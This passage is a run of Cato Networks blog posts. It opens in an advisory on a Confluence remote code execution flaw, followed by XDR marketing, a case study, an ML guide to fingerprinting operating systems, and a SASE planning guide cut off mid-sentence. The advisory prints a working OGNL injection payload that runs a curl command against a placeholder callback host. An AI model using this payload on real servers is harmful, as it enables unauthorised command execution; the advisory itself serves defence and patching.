findValue isn’t verified by Struts’ security measures, in effect allowing code injection and execution.  A content length limit exists, limiting the number of characters allowed in the expression used for exploitation but it is bypassed using the #parameters map and is then utilized to pass the actual arguments for execution.  The final payload being injected would look something like the below, as we see it makes use of the #request and #parameters maps in addition to chaining the aforementioned functions and classes:  label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})  Cato’s analysis and response  From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE across Cato customer networks immediately following the availability of a public POC (Proof of Concept) of the attack.   Cato deployed IPS signatures to block any attempts to exploit the RCE in just 24 hours from the date of the POC publication, protecting all Cato-connected edges – sites, remote users, and cloud resources — worldwide from January 23rd, 2024.  Nonetheless, Cato recommends upgrading all vulnerable Confluence instances to the latest versions released by Atlassian.  References  https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/ https://jira.atlassian.com/browse/CONFSERVER-93833

Cato XDR Proves to Be a “Timesaver” for Redner’s Markets “The Cato platform gave us better visibility, saved time on incident response, resolved application issues, and improved network performance ten-fold.”   Nick Hidalgo, Vice President of IT and Infrastructure at Redner’s Markets  At what point do security problems meet network architecture issues? For U.S. retailer Redner’s Markets, it was when the company’s firewall vendor required backhauling traffic just to gain visibility into traffic flows.   Pulling traffic from the company’s 75 retail locations across Pennsylvania, Maryland, and Delaware led to “unexplainable” application problems. Loyalty applications failed to work correctly. Due to the unstable network, some of the grocer’s pharmacies couldn’t fax in their orders.    Those and other complaints led Redner’s Markets’ vice president of IT and infrastructure, Nick Hidalgo, and his team to implement Cato SASE Cloud. “Transitioning to Cato allowed us to establish direct traffic paths from the branches, leading to a remarkable 10x performance boost and vastly improved visibility,” says Hidalgo. “The visibility you guys give us is better than any other platform we’ve had.”  [boxlink link="https://www.catonetworks.com/resources/protect-your-sensitive-data-and-ensure-regulatory-compliance-with-catos-dlp/"] Protect Your Sensitive Data and Ensure Regulatory Compliance with Cato’s DLP | Download the White Paper [/boxlink] Redner’s Markets’ Trials Cato XDR   When the opportunity came to evaluate Cato XDR, Hidalgo and his team signed up for the early availability program. “With our firewall vendor’s XDR platform, we only get half the story. We can see the endpoint process that spawned the story, but we lack the network context. Remediating incidents requires us to jump between three different screens.”  By contrast, Cato XDR provides an Incident Detection and Response solution spanning network detection response (NDR) and endpoint detection response (EDR) domains. More than eight native, endpoint and network sensors feed Cato XDR - NGFW, SWG, ATP, DNS, ZTNA, CASB, DLP, RBI, and EPP. Typically, XDR platforms come with one or two native sensors and for most that means native data only from their EPP solution Cato XDR can also ingest data from third-party sensors.   Cato automatically collects related incidents into detailed Gen-AI “stories”  using this rich dataset with built-in analysis and recommendations. These stories enable analysts to quickly prioritize, investigate, and respond to threat.AI-based threat-hunting capabilities create a prioritized set of suspected incident stories. Using Gen-AI, SOC analysts can efficiently manage and act upon stories using the incident analysis workbench built into the Cato management application.  With Cato, Hidalgo found XDR adoption and implementation to be simple. “We fully deployed the Cato service easily, and each time we turn on a capability, we immediately start seeing new stories,” he says. “We enabled Data Loss Prevention (DLP) and immediately identified misuse of confidential information at one of our locations.”  Having deployed Cato XDR and Cato EPP, Hidalgo gains a more holistic view of an incident. “Within our events screen, we now have a single view showing us all of the network and endpoint events relating to a story.”   More broadly, Cato’s combination of deep incident insight and converged incident response tools has made his team more efficient in remediating incidents. “Cato XDR is a timesaver for us,” he says. “The XDR cards let us see all the data relating to an incident in one place, which is valuable. Seeing the flow of the attack through the network – the source of the attack, the actions taken, the timeframe, and more – on one page saves a lot of time. If a user has a network issue, I do not have to jump to various point product portals to determine where the application is being blocked.”  Overall, the Cato platform and Cato XDR have proved critical for Redner’s Markets. “The Cato platform gave us better visibility, saved time on incident response, resolved application issues, and improved network performance ten-fold.”

Cato XDR: A SASE-based Approach to Threat Detection and Response Security Analysts Need Better Tools  Security analysts continue to face an ever-evolving threat landscape, and their traditional approaches are proving to be quite limited.  They continue to be overrun with security alerts, and their SIEMs often fail to properly correlate all relevant data, leaving them more exposed to cyber threats.  These analysts require a more effective method to understand threats faster and reduce security risks in their environment.    Extended Detection and Response (XDR) was introduced to improve security operations and eliminate these risks.  XDR is a comprehensive cybersecurity solution that goes beyond traditional security tools.  It was designed to provide a more holistic approach to threat detection and response across multiple IT environments. However, standard XDR tools have a data quality issue because to process threat data, it must be normalized into a structure the XDR understands.  This often results in incomplete or reduced data, and this inconsistency makes threats harder to detect.   SASE-based XDR   Cato Networks realized that XDR needed to evolve.  It needed to overcome the data-quality limitations of current XDR solutions to produce cleaner data for more accurate threat detection.  To achieve this, the way XDR ingested and processed data needed to change, and it would start with the platform.  This next evolution of XDR would be built into a SASE platform to enable a more comprehensive approach to security operations.   SASE-based XDR is a completely different approach to security operations and overcomes the limitations of standard XDR solutions. Built-in native sensors overcome the data quality issues to produce high-quality data that requires no integration or normalization. Captured data through these sensors are populated into a single data lake and this allows AI/ML algorithms to train on this data to create quality XDR incidents.  [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink] AI/ML in SASE-based XDR  AI/ML serves an important role in SASE-based XDR, with advanced algorithms providing more accuracy in correlation and detection engines.  Advanced ML models train on petabytes of data and trillions of events from a single data lake.  Data populated through the native sensors requires no integration or normalization and no need for data reduction.  The AI/ML is trained on this raw data to eliminate missed detections and false positives, and this results in high-quality threat incidents.    SASE-based XDR Threat Incidents  SASE-based XDR detects and acts on various types of cyber threats.  Every threat in the management console is considered an incident that presents a narrative of a threat from its inception until its final resolution.  These incidents are presented in the Dashboard, providing a roadmap for security analysts to understand the detected threats.  SASE-based XDR generates three types of incidents:   Threat Prevention – Correlates Block event signals that were generated from prevention engines, such as IPS.    Threat Hunting – Detects elusive threats that do not have signatures by correlating various network signals using ML and advanced heuristics.   Anomaly Detection – Detects unusual suspicious usage patterns over time using advanced statistical models and UEBA (User and Entity Behavior Analytics).   Threat Intelligence for SASE-based XDR  SASE-based XDR contains a reputation assessment system to eliminate false positives.  This system uses machine learning and AI to correlate readily available networking and security information and ingests millions of IoCs from 250+ threat intelligence sources.  It scores them using real-time network intelligence gathered by ML models.    Threat intelligence enrichment strengthens SASE-based XDR by increasing the quality of data that is consumed by the XDR engine, thus increasing the accuracy of the XDR incidents.  Security teams are now better equipped to investigate their incidents and remediate cyber threats in their environment.    Cato XDR: The Game-Changer  Cato XDR is the industry’s first SASE-based XDR solution that eases the burden of security teams and brings a 360-degree approach to security operations.  It uses advanced AI/ML algorithms for increased accuracy in XDR’s correlation and detection engines to create XDR stories.  It also uses a reputation assessment engine for threat intelligence to score threat sources and identify and eliminate false positives.  Cato XDR also overcomes the data quality issue of standard XDR solutions.  The Key to this is native sensors that are built into the SASE platform.  These high-quality sensors produce quality metadata that requires no integration or normalization.  This metadata is populated into our massive data lake, and Machine Learning algorithms train on this to map the threat landscape.  Cato XDR is a true game-changer that presents a cleaner path to more efficient security operations.  With XDR and security built into the platform, the results are cleaner and more accurate detection, leading to faster, more efficient investigation and remediation.  For more details, read more about XDR here.

Cato Taps Generative AI to Improve Threat Communication Today, Cato is furthering our goal of simplifying security operations with two important additions to Cato SASE Cloud. First, we’re leveraging generative AI to summarize all the indicators related to a security issue. Second, we tapped ML to accelerate the identification and ranking of threats by finding similar past threats across an individual customer’s account and all Cato accounts. Both developments build on Cato’s already extensive use of AI and ML. In the past, this work has largely been behind the scenes, such as performing offline analysis for OS detection, client classification, and automatic application identification. Last June, Cato extended those efforts and revolutionized network security with arguably the first implementation of real-time, machine learning-powered protection for malicious domain identification. But the additions today will be more noticeable to customers, adding new visual elements to our management application. Together they help address practical problems security teams face every day, whether it is in finding threats or communicating those findings with other teams. Alone, new AI widgets would be mere window dressing to today’s enterprise security challenges. But coupling AI and ML with Cato’s elegant architecture represents a major change in the enterprise security experience. Solving the Cybersecurity Skills Problem Begins with the Security Architecture It's no secret that security operations teams are struggling. The flood of security alerts generated by the many appliances and tools across your typical enterprise infrastructure makes identifying the truly important alerts impossible for many teams. This “alert fatigue” is not only impacting team effectiveness in protecting the enterprise, but it’s also impacting the quality of life of its security personnel.  In a  survey conducted by Opinium, 93% of respondents say IT management and cyber-security risk work has forced them to cancel, delay, or interrupt personal commitments. Not a good thing when you’re trying to retain precious security talent. A recent Cybersecurity Workforce Study from ISC2 found that 67% of surveyed cybersecurity professionals reported that their organization has a shortage of cybersecurity staff needed to prevent and troubleshoot security issues. Another study from Enterprise Study Group (ESG) as reported in Security Magazine, found that 7 out of 10 surveyed organizations (71%) report being impacted by the cybersecurity skills shortage. Both problems could be addressed by simplifying enterprise infrastructure. The many individual security tools and appliances used in enterprise networks to connect and protect their users require security teams to juggle multiple interfaces to solve the simplest of problems. The security analyst’s lack of deep visibility into networking and security data inhibits their ability to diagnose threats. The ongoing discovery of new vulnerabilities in appliances, even security appliances, puts stress on security teams as they race to evaluate risks and patch systems. [boxlink link="https://catonetworks.easywebinar.live/registration-everything-you-wanted-to-know-about-ai-security"] Everything You Wanted To Know About AI Security But Were Afraid To Ask | Watch the Webinar [/boxlink] This is why Cato rethought networking and security operations eight years ago by first solving the underlying architectural problems. The Cato SASE Cloud is a platform first, converging core security tools – SWG, CASB, DLP, RBI, ZTNA/SDP, and FWaaS with Advanced Threat Prevention (IPS, DNS Security, Next Generation Anti-malware). Those tools share the same admin experience and interface, so learning them is easier. They share the same underlying data lake, which is populated with networking data as well, providing the richest dataset possible for security teams to hunt for threats. The Cato platform is always current, protecting users everywhere against new and rising threats without overburdening a company’s security team. Across that platform, Cato has been running AI and machine learning (ML) algorithms to make the platform even simpler and smarter. We combine AI and ML with HI – human intelligence – of our vast team of security experts to eliminate false positives, identify threats faster, and recognize new devices connecting to the network with higher precision. Two New Additions to Cato’s Use of AI and ML It’s against this backdrop that Cato has expanded our AI work in two important ways towards achieving the goal of the experience of enterprise security simpler and smarter. We recognize that security teams need to share their insights with other IT members. It can be challenging for security experts to summarize succinctly the story behind a threat and for novice security personnel to interpret a dashboard of indicators. So, we tapped generative AI to write a one-paragraph summary of the security indicators leading to an analyst’s given conclusion. Story summary is automatically generated by generative AI. We also wanted to find a way to identify and rank threats even faster and more accurately. We tapped AI and ML in the past to accomplish this goal, but today we are expanding those efforts. Using distancing algorithms, we identify similarities between new security stories with other stories in a customer’s account and across all Cato accounts. This means that Cato customers directly benefit from knowledge and experience gained across the entire Cato community. And that’s significant because there’s a very, very good chance that the story you’re trying to evaluate today was already seen by some other Cato customer. So, we can make that identification and rank the threat for you faster and easier. Story similarity quickly identifies and ranks new stories based on past analysis of other similar stories in a customer’s or third-party accounts. A SASE Platform and AI/ML – A Winning Combination The expansion of AI/ML into threat detection analytics and its use in summarizing security findings are important in simplifying security operations. However, AI/ML alone cannot address the range of security challenges facing today’s enterprise. Organizations must first address the underlying architectural issues that make security so challenging. Only by replacing disparate security products and tools with a single, converged global platform can AI be something more than, well, window dressing. For a more technical analysis of our use of Generative AI, see this blog from the Cato Labs Research team.

Whistleblowers of a Fake SASE are IT’s Best Friends  History taught us that whistleblowers can expose the darkest secrets and wrongdoing of global enterprises, governments and public services; even prime ministers and presidents. Whistleblowers usually have a deep sense of justice and responsibility that drives them to favor the good of the many over their own. Often, their contribution is really appreciated only in hindsight.   In an era where industry buzz around new technologies such as SASE is exploding, vendors who are playing catch-up can be tempted to take shortcuts, delivering solutions that look like the real thing but really aren’t. With SASE, it is becoming very hard for IT teams to filter through the noise to understand what is real SASE and what is fake. What can deliver the desired outcomes and what might lead to a great disappointment.   Helpfully for IT teams, the whistleblowers of fake SASE solutions have already blown their whistles loud and clear. All we need to do is listen to their warnings, to the red flags they are waiving in our faces, and carefully examine every SASE (true or fake) solution to identify its’ real essence.  The Fragmented Data Lake Whistleblower  As more and more legacy products such as firewalls, SWG, CASB, DLP, SD-WAN and others are converging into one SASE platform, it can only be expected that all the events they generate will converge as well, forming one unified data lake that can be easily searched through and filtered. This is still not the case with many vendor’s offerings.  Without a ready-made, unified data lake, enterprises need a SIEM solution, into which all the events from the different portfolio products will be ingested. This makes the work of SIEM integration and data normalization a task for the IT team, rather than a readily available functionality of the SASE platform.  Beyond the additional work and complexity, event data normalization almost always means data reduction, leading to less visibility about what is really happening on the enterprise network and security. Conversely, the unified data lake from a true single-vendor SASE solution will be populated with native data that gives rich visibility and a real boost to advanced tools such as XDR.  Think carefully if an absence of a ready-made unified data lake is something you are willing to compromise on, or should this red flag, forcefully waved by the data lake whistleblower, be one of your key decision factors.  The Multiple Management Apps Whistleblower  One of the most frustrating and time-consuming situations in the day-to-day life of IT teams is jumping between oh so many management applications to understand what is happening, what needs attention, troubleshooting issues, policy configuration and even periodic auditing.  SASE is meant to dramatically reduce the number of management applications for the enterprise. It should be a direct result of vendor consolidation and product convergence. It really should.  But some vendors (even big, established ones) offer a SASE built with multiple products and (you guessed it) multiple management applications, rather than a single-platform SASE with one management application.  With these vendors, it’s bad enough having to jump between management applications, but it can also mean having to implement policies separately in multiple applications.   The management whistleblower is now exhausting the air in her lungs, drawing your attention to what might not be the time saving and ease of use you may be led to expect. Some might like the overflow of management applications in their job, but most don’t.   Multiple managements applications can be hidden by a ‘management-of-managements’ layer. It might be a good solution in theory, but in practice – it means that every change, bug fix, and new feature needs to be implemented and reflected in all the management applications. Are you sure your vendor can commit to that?   [boxlink link="https://catonetworks.easywebinar.live/registration-making-sure-sase-projects-are-a-success"] Making Sure SASE Projects Are a Success | Watch the Webinar [/boxlink] The Asymmetric PoPs Whistleblower  This one is probably the hardest one to expose, but once seen – it cannot be unseen.  Vendors who did not build their SASE from the ground up as a cloud-native software often take shortcuts in the race to market. They create service PoPs (Points of Presence) by deploying their legacy point products as virtual machines on a public cloud like GCP, AWS or Azure. This is an expensive strategy to take on, and an extremely complex operation to build and maintain with an SLA that fits critical IT infrastructure requirements.  Some may think this is meaningless, and that as long as the customer is getting the service they paid for, why should they care. Well, here is why.  To reduce the high IaaS costs and the operational complexity, such vendors will intentionally avoid offering all their SASE capabilities from all of their PoPs. The result of this asymmetric PoP architecture is  degraded application performance and user experience, due to the need to route some or all traffic to a distant PoP for processing and inspection. So, when users come in complaining, do you think that saying you are supporting the cost saving of the SASE vendor will be a reasonable explanation?  The asymmetric PoPs whistleblower recommends that you double check with every SASE vendor that all their PoPs are symmetric, and that wherever your users and applications are, all the SASE services will be delivered from the nearest one PoP.   Epilogue  Whistleblowers are usually not fun to listen to. They challenge and undermine our believes and perception, taking us out of our comfort zone.  The three whistleblowers here mean no harm, only wanting to help minimize the risk of failure and disappointment. They blow their whistles and wave their red flags to warn you to proceed with caution, educate yourself, and select your strategic SASE vendor with eyes wide open.

3 Things CISOs Can Immediately Do with Cato Wherever you are in your SASE or SSE journey, it can be helpful knowing what other CISOs are doing once they've implemented these platforms. Getting started with enhanced security is a lot easier than you might think. With Cato’s security services being delivered from a scalable cloud-native architecture at multiple global points of presence, the value is immediate. In this blog post, we bring the top three things you, as a CISO, can do with Cato. From visibility to real-time security to data sovereignty, Cato makes it easy to create consistent policies, enable zero trust network access, and investigate security and networking issues all in one place. To read more details about each of these steps, understand the inner workings of Cato’s SASE/SSE and to see what you would be able to view in Cato’s dashboards, you can read the ebook “The First 3 Things CISOs Do When Starting to Use Cato", which this blog post is based on, here. Now let’s dive into the top three capabilities and enhancements CISOs gain from Cato: 1. Comprehensive Visibility With Cato, CISOs achieve complete visibility into all activity, once traffic flows through the Cato SASE Cloud. This includes security events, networking and connectivity events for all users and locations connected to the service. This information can be viewed in the Cato Management Application: The events page shows the activity and enables filtering, which supports investigation and incident correlation. The Cloud Apps Dashboard presents a holistic and interactive view of application usage, enabling the identification of Shadow IT. Cato’s Apps Catalog provides an assessment of each application’s profile and a risk score, enabling CISOs to evaluate applications and decide if and how to enable the app and which policies to configure. Application analytics show the usage of a specific application, enabling CISOs or practitioners to identify trends for users, sites and departments. This helps enforce zero trust, design policies and identify compromised applications. Comprehensive visibility supports day-to-day management as well as the ability to easily report to the board on application usage, risk level and blocked threats. It also supports auditing needs. [boxlink link="https://www.catonetworks.com/resources/feedback-from-cisos-the-first-three-things-to-do-when-starting-to-use-cato/"] Feedback from CISOs: The First Three Things to do When Starting to Use Cato | Download the eBook [/boxlink] 2. Consistent Real-Time Threat Prevention Cato’s SSE 360’s cloud-native architecture enables protecting all traffic with no computing limitation. Multiple security updates are carried out every day. The main services include: Real Time Threat Prevention Engines - FWaaS, SWG, IPS, Next-Generation Anti-Malware and more are natively a part of Cato’s SASE Platform, detecting and blocking threats, and always up-to-date. Cato’s threats dashboard - A high-level view of all threat activity, including users, threat types and threat source countries, for investigation or policy change considerations.  MITRE ATT&CK dashboard -  A new dashboard that aligns logged activity with the MITRE ATT&CK framework, enabling you to see the bigger picture of an attack or risk. 24x7 MDR service provided by Cato’s SOC - A service that leverages ML to identify anomalies and Cato’s security experts to investigate them. 3. Data Sovereignty Cato provides DLP and CASB capabilities to support data governance. DLP prevents sensitive information, like source code, PCI data, or PII data, from being uploaded or downloaded. The DLP dashboard shows how policies are configured and performing, enabling the finetuning of DLP rules and helping identify data exfiltration attempts or the need for user training. CASB controls how users interact with SaaS applications and prevents users uploading data to third party services as well as establishing broader security standards based on compliance, native security features, and risk score Future Growth for CISOs CISOs who have adopted Cato’s SASE or SSE360 can readily expect future growth, since appliance deployment and supply chain constraints are no longer blockers for their progress. You can easily onboard new users and locations to gain visibility and protection and policy application. It’s also easy to add new functionalities and enable new policies, reducing the time to value for any new capability. With Cato, your company’s policies are consistently enforced and all your users and locations are protected from the latest threats. Read more details about each of these capabilities in the ebook “The First 3 Things CISOs Do When Starting to Use Cato" here.

Machine Learning in Action – An In-Depth Look at Identifying Operating Systems Through a TCP/IP Based Model  In the previous post, we’ve discussed how passive OS identification can be done based on different network protocols. We’ve also used the OSI model to categorize the different indicators and prioritize them based on reliability and granularity. In this post, we will focus on the network and transport layers and introduce a machine learning OS identification model based on TCP/IP header values.  So, what are machine learning (ML) algorithms and how can they replace traditional network and security analysis paradigms? If you aren’t familiar yet, ML is a field devoted to performing certain tasks by learning from data samples. The process of learning is done by a suitable algorithm for the given task and is called the “training” phase, which results in a fitted model. The resulting model can then be used for inference on new and unseen data.  ML models have been used in the security and network industry for over two decades. Their main contribution to network and security analysis is that they make decisions based on data, as opposed to domain expertise (i.e., they are data-driven). At Cato we use ML models extensively across our service, and in this post specifically we’ll delve into the details of how we enhanced our OS identification engine using a TCP/IP based model.   For OS identification, a network analyst might create a passive network signature for detecting a Windows OS based on his knowledge on the characteristics of the Windows TCP/IP stack implementation. In this case, he will also need to be familiar with other OS implementations to avoid false positives. However, with ML, an accurate network signature can be produced by the algorithm after training on several labeled network flows from different devices and OSs. The differences between the two approaches are illustrated in Figure 1.  Figure 1: A traditional paradigm for writing identification rules vs. a machine learning approach.  In the following sections, we will demonstrate how an ML model that generates OS identification rules can be created using a Decision Tree. A decision tree is a good choice for our task for a couple of reasons. Firstly, it is suitable for multiclass classification problems, such as OS identification, where a flow can be produced from various OS types (Windows, Linux, iOS, Android, Linux, and more). But perhaps even more importantly, after being trained, the resulting model can be easily converted to a set of decision rules, with the following form:  if condition1 and condition 2 … and condition n then label   This means that your model can be deployed on environments with minimal dependencies and strict performance limits, which are common requirements for network appliances such as packet filtering firewalls and deep packet inspection (DPI) intrusion prevention systems (IPS).  How do decision trees work for classification tasks?   In this section we will use the following example dataset to explain the theory behind decision trees. The dataset represents the task of classifying OSs based on TCP/IP features. It contains 8 samples in total, captured from 3 different OSs: Linux, Mac, and Windows. From each capture, 3 elements were extracted: IP initial time-to-live (ITTL), TCP maximum segment size (MSS), and TCP window size.   Figure 2: The training dataset with 8 samples, 3 features, and 3 classes.  Decision trees, as their name implies, use a tree-based structure to perform classification. Each node in the root and internal tree levels represents a condition used to split the data samples and move them down the tree. The nodes at the bottom level, also called leaves, represent the classification type. This way, the data samples are classified by traversing the tree paths until they reach a leaf node. In Figure 3, we can observe a decision tree created from our dataset. The first level of the tree splits our data samples based on the “IP ITTL” feature. Samples with a value higher than 96 are classified as a Windows OS, while the rest traverse down the tree to the second level decision split.  Figure 3: A simple decision tree for classifying an OS.  So, how did we create this tree from our data? Well, this is the process of learning that was mentioned earlier. Several variations exist for training a decision tree; In our example, we will apply the well-known Classification and Regression Tree (CART) algorithm.  The process of building the tree is done from top to bottom, starting from the root node. In each step, a split criterion is selected with the feature and threshold that provide the best “split quality” for the data in the current node. In general, split criterions that divide the data into groups with more homogeneous class representation (i.e., higher purity) are considered to have a better split quality. The CART algorithm measures the split quality using a metric called Gini Impurity. Formally, the metric is defined as:  Where 𝐶 denotes the number of classes in the data (in our case, 3), and 𝑝 denotes the probability for that class, given the data in the current node. The metric is bounded between 0 and 1 the represent the degree of node impurity. The quality of the split criterion is then defined by the weighted sum of the Gini Impurity values of the nodes below. Finally, the split criterion that gives to lowest weighted sum of the Gini Impurities for the bottom nodes is selected.   In Figure 4, we can see an example for selecting the first split criterion of the tree. The root node of tree, containing all data samples, has the Gini Impurity values of:  Then, given the split criterion of “IP ITTL <= 96”, the data is split to two nodes. The node that satisfies the condition (left side), has the Gini Impurity values of:    While the node that doesn’t, has the Gini Impurity values of:  Overall, the weighted sum for this split is:  This value is the minimal Gini Impurity of all the candidates and is therefore selected for the first split of the tree. For numeric features, the CART algorithm selects the candidates as all the midpoints between sequential values from different classes, when sorted by value. For example, when looking at the sorted “IP ITTL” feature in the dataset, the split criterion is the midpoint between IP ITTL = 64, which belongs to a Mac sample, and IP ITTL = 128, which belongs to a Windows sample. For the second split, the best split quality is given by the “TCP MSS” features, from the midpoint between TCP MSS = 1386, which belongs to a Mac sample, and TCP MSS = 1460, which belongs to a Linux sample.  Figure 4: Building a tree from the data – level 1 and level 2. The tree nodes display: 1. Split criterion, 2. Gini Impurity value, 3. Number of data sample from each class.  In our example, we fully grow our tree until all the leaves have a homogenous class representation, i.e., each leaf has data samples from a single class only. In practice, when fitting a decision tree to data, a stopping criterion is selected to make sure the model doesn’t overfit the data. These criteria include maximum tree height, minimum data samples for a node to be considered a leaf, maximum number of leaves, and more. In case the stopping criterion is reached, and the leaf doesn’t have a homogeneous class representation, the majority class can be used for classification.   [boxlink link="https://catonetworks.easywebinar.live/registration-everything-you-wanted-to-know-about-ai-security"] Everything You Wanted To Know About AI Security But Were Afraid To Ask | Watch the Webinar [/boxlink] From tree to decision rules  The process of converting a tree to rules is straight forward. Each route in the tree from root to leaf node is a decision rule composed from a conjunction of statements. I.e., If a new data sample satisfies all of statements in the path it is classified with the corresponding label.   Based on the full binary tree theorem, for a binary tree with 𝑛 nodes, the number of extracted decision rules is (𝑛+1)/ 2. In Figure 5, we can see how the trained decision tree with 5 nodes, is converted to 3 rules.   Figure 5: Converting the tree to a set of decision rules.  Cato’s OS detection model  Cato’s OS detection engine, running in real-time on our cloud, is enhanced by rules generated by a decision tree ML model, based on the concepts we described in this post. In practice, to gain a robust and accurate model we trained our model on over 10k unique labeled TCP SYN packets from various types of devices. Once the initial model is trained it also becomes straightforward to re-train it on samples from new operating systems or when an existing networking implementation changes.  We also added additional network features and extended our target classes to include embedded and mobile OSs such as iOS and Android. This resulted in a much more complex tree that generated 125 different OS detection rules. The resulting set of rules that were generated through this process would simply not have been feasible to achieve using a manual work process. This greatly emphasizes the strength of the ML approach, both the large scope of rules we were able to generate and saving a great deal of engineering time.  Figure 6: Cato’s OS detection tree model. 15 levels, 249 nodes, and 125 OS detection rules.  Having a data-driven OS detection engine enables us to keep up with the continuously evolving landscape of network-connected enterprise devices, including IoT and BYOD (bring your own device). This capability is leveraged across many of our security and networking capabilities, such as identifying and analyzing security incidents using OS information, enforcing OS-based connection policies, and improving visibility into the array of devices visible in the network.  An example of the usage of the latter implementation of our OS model can be demonstrated in Figure 7, the view of Device Inventory, a new feature giving administrators a full view of all network connected devices, from workstations to printers and smartwatches. With the ability to filter and search through the entire inventory. Devices can be aggregated by different categories, such as OS shown below or by the device type, manufacturer, etc.   Figure 7: Device Inventory, filtering by OS using data classified using our models However, when inspecting device traffic, there is other significant information besides OS we can extract using data-driven methods. When enforcing security policies, it is also critical to learn the device hardware, model, installed application, and running services. But we'll leave that for another post.  Wrapping up  In this post, we’ve discussed how to generate OS identification rules using a data-driven ML approach. We’ve also introduced the Decision Tree algorithm for deployment considerations on minimal dependencies and strict performance limits environments, which are common requirements for network appliances. Combined with the manual fingerprinting we’ve seen in the previous post; this series provides an overview of the current best practices for OS identification based on network protocols. 

The Path to SASE: A Project Planning Guide

Breaking Free from Legacy Constraints Enterprises often find themselves tethered to complex and inflexible network architectures that impede their journey towards business agility and operational...
The Path to SASE: A Project Planning Guide Breaking Free from Legacy Constraints Enterprises often find themselves tethered to complex and inflexible network architectures that impede their journey towards business agility and operational efficiency. Secure Access Service Edge, or SASE, a term coined by Gartner in 2019, defines a newer framework that converges enterprise networking and security point solutions into a single, secure, cloud-native, and globally distributed solution that secures all edges. SASE represents a strategic response to the changing needs and challenges of modern enterprises, delivering a secure, resilient, and optimized foundation essential to achieving the expected outcomes of digital transformation. But digital transformation can be hard to define in practice. It can be an iterative process of researching, planning, and evaluating what changes will yield the most benefit for your organization. This blog post provides a practical roadmap for SASE project planning, incorporating essential considerations and key recommendations that will help guide your path to a successful implementation, meeting the needs of your business now, and in the future. Let's take the first step. Start With the Stakeholders For a successful SASE migration, it's extremely beneficial to unite security and network operations teams (if such unity does not already exist). This collaboration ensures both the security and performance aspects of the network are considered. Appointing a neutral project leader is recommended – they'll ensure all requirements are met and communicated effectively. Take a tip from Gartner and engage owners of strategic applications, and workforce and branch office transformational teams. Collaboration is key, especially if there is a broader, company-wide digital transformation project in planning or in effect. Setting Sail: Defining Your SASE Objectives Your SASE project should include clear objectives tailored to the unique needs of your business. Common goals for a SASE implementation include facilitating remote work and access, supporting global operations, enabling Secure Direct Internet Access (DIA), optimizing cloud connectivity, consolidating vendors, and embracing a Zero Trust, least privilege strategy to safeguard your network and establish a robust security posture. Plan to align your network and security policies with evolving organizational needs and processes, ensuring full data visibility, control, and threat protection. Prioritize a consistent user experience, and foster digital dexterity with a cloud-delivered solution that can cater to anticipated and unexpected needs. Blueprinting Success: Gathering Requirements It's essential to identify the sites, users, and cloud resources that need connectivity and security. Plan not only for now but also for future growth to avoid disruptions later. Pay attention to your applications. Real-time apps like voice and video can suffer from quality loss. High Availability (HA) might also be a requirement for some of your sites. While most of HA responsibility lies with the SASE provider, there are steps your business can take to increase the resilience of site-based components. Map all Users Remote and mobile users who work from anywhere (WFA), are simply another edge. Ensuring a parallel experience to branch office peers across usability, security, and performance is crucial for these users. Map their locations to the PoPs offered by SASE providers, prioritizing proximity for minimized latency. Focus on SASE solutions hosting the security stack in PoPs where WFAs connect, eliminating the need to backhaul to the corporate datacenter, and supporting a single security policy for every user. This not only improves latency but also delivers a frictionless user experience. Map all Cloud Resources A vital component in SASE project planning is mapping all your cloud resources and applications (including SaaS applications), giving consideration to their physical locations in datacenters worldwide. The proximity of these datacenters to users directly affects latency and performance. Leading hosting companies and cloud platforms provide regional datacenters, allowing applications to be hosted closer to users. Identifying hosting locations and aligning them with a SASE solution’s PoPs in the cloud, that act as on-ramps to SaaS and other services, enhances application performance and provides a better user experience. Plan for the Future: SASE’s Promise of Adaptability Your network needs to be a growth enabler for your organization, adapting swiftly to planned and unknown future needs. Future-proofing your network is fundamental to avoiding building an inflexible solution that doesn't meet evolving requirements. Typical events could include expanding into new locations which will require secure networking, M&A activity that may involve integrating disparate IT systems, or moving more applications to the cloud. Legacy architectures like MPLS offer challenges such as sourcing, integration, deployment, and management of multiple point products, often taking months or longer to turn up new capabilities. In contrast, a cloud-delivered SASE solution can be turned up in days or weeks, saving time and alleviating resource constraints. Remember, if you are planning to move more applications to the cloud, it's important to identify SASE solutions with a distribution of PoPs that geographically align to where your applications are hosted, ensuring optimal application performance. [boxlink link="https://www.catonetworks.com/resources/how-to-plan-a-sase-project/"] How to Plan a SASE Project | Get the Whitepaper [/boxlink] SASE Shopping 101: Writing an RFI Once requirements have been identified, send out a Request for Information (RFI) to prospective SASE vendors. Ensure they grasp your business requirements, understand your goals, network resources, topology, and security stack, and can align their solution architecture with your specific needs. Dive deep into solution capabilities, customer and technical support models, and services. The RFI, in essence, sets the stage for informed decision-making before embarking on a Proof of Concept (PoC). Step-by-Step: Planning a Gradual Deployment With SASE, you can embrace a phased approach to implementation. Whether migrating from MPLS to SD-WAN, optimizing global connectivity, securing branch Internet access, accelerating cloud connectivity, or addressing remote access challenges, a gradual deployment helps mitigate risks. Start small, learn from initial deployments, and scale with confidence. Presenting the SASE Proposition: Board Approval Getting buy-in from the Board is essential for network transformation projects. Position SASE as a strategic enabler for IT responsiveness, business growth, and enhanced security. Articulate its long-term financial impact, emphasizing ROI. Leverage real-world data and analyst insights to highlight the tangible benefits of SASE. Unifying Forces: Building Consensus Securing sponsorship from networking and security teams is critical. Highlight SASE’s strategic value across the enterprise, showcasing its ability to simplify complexity, reduce security risks, and streamline IT efforts. A successful SASE implementation facilitates initiatives like cloud migration, remote work, UCaaS, and global expansion, and empowers security professionals to mitigate risk effectively – essentially allowing them to meet the requirements of their roles. By simplifying protection schemes, enhancing network visibility, improving threat detection and response, and unifying security policies, SASE alleviates common security challenges effortlessly. The SASE Test Drive: Running a Successful PoC Before committing to a specific SASE solution, embark on a Proof of Concept (PoC). Keep it simple; focus on a few vendors, one or two specific use cases, and limit the PoC to a 30 or 60-day timeline. Test connectivity (across different global locations), application performance, and user experience. Evaluate how well the solution integrates with legacy equipment if that is to remain after SASE implementation. Remember, not all SASE solutions are created equal, so you'll need to document successes and challenges, and determine 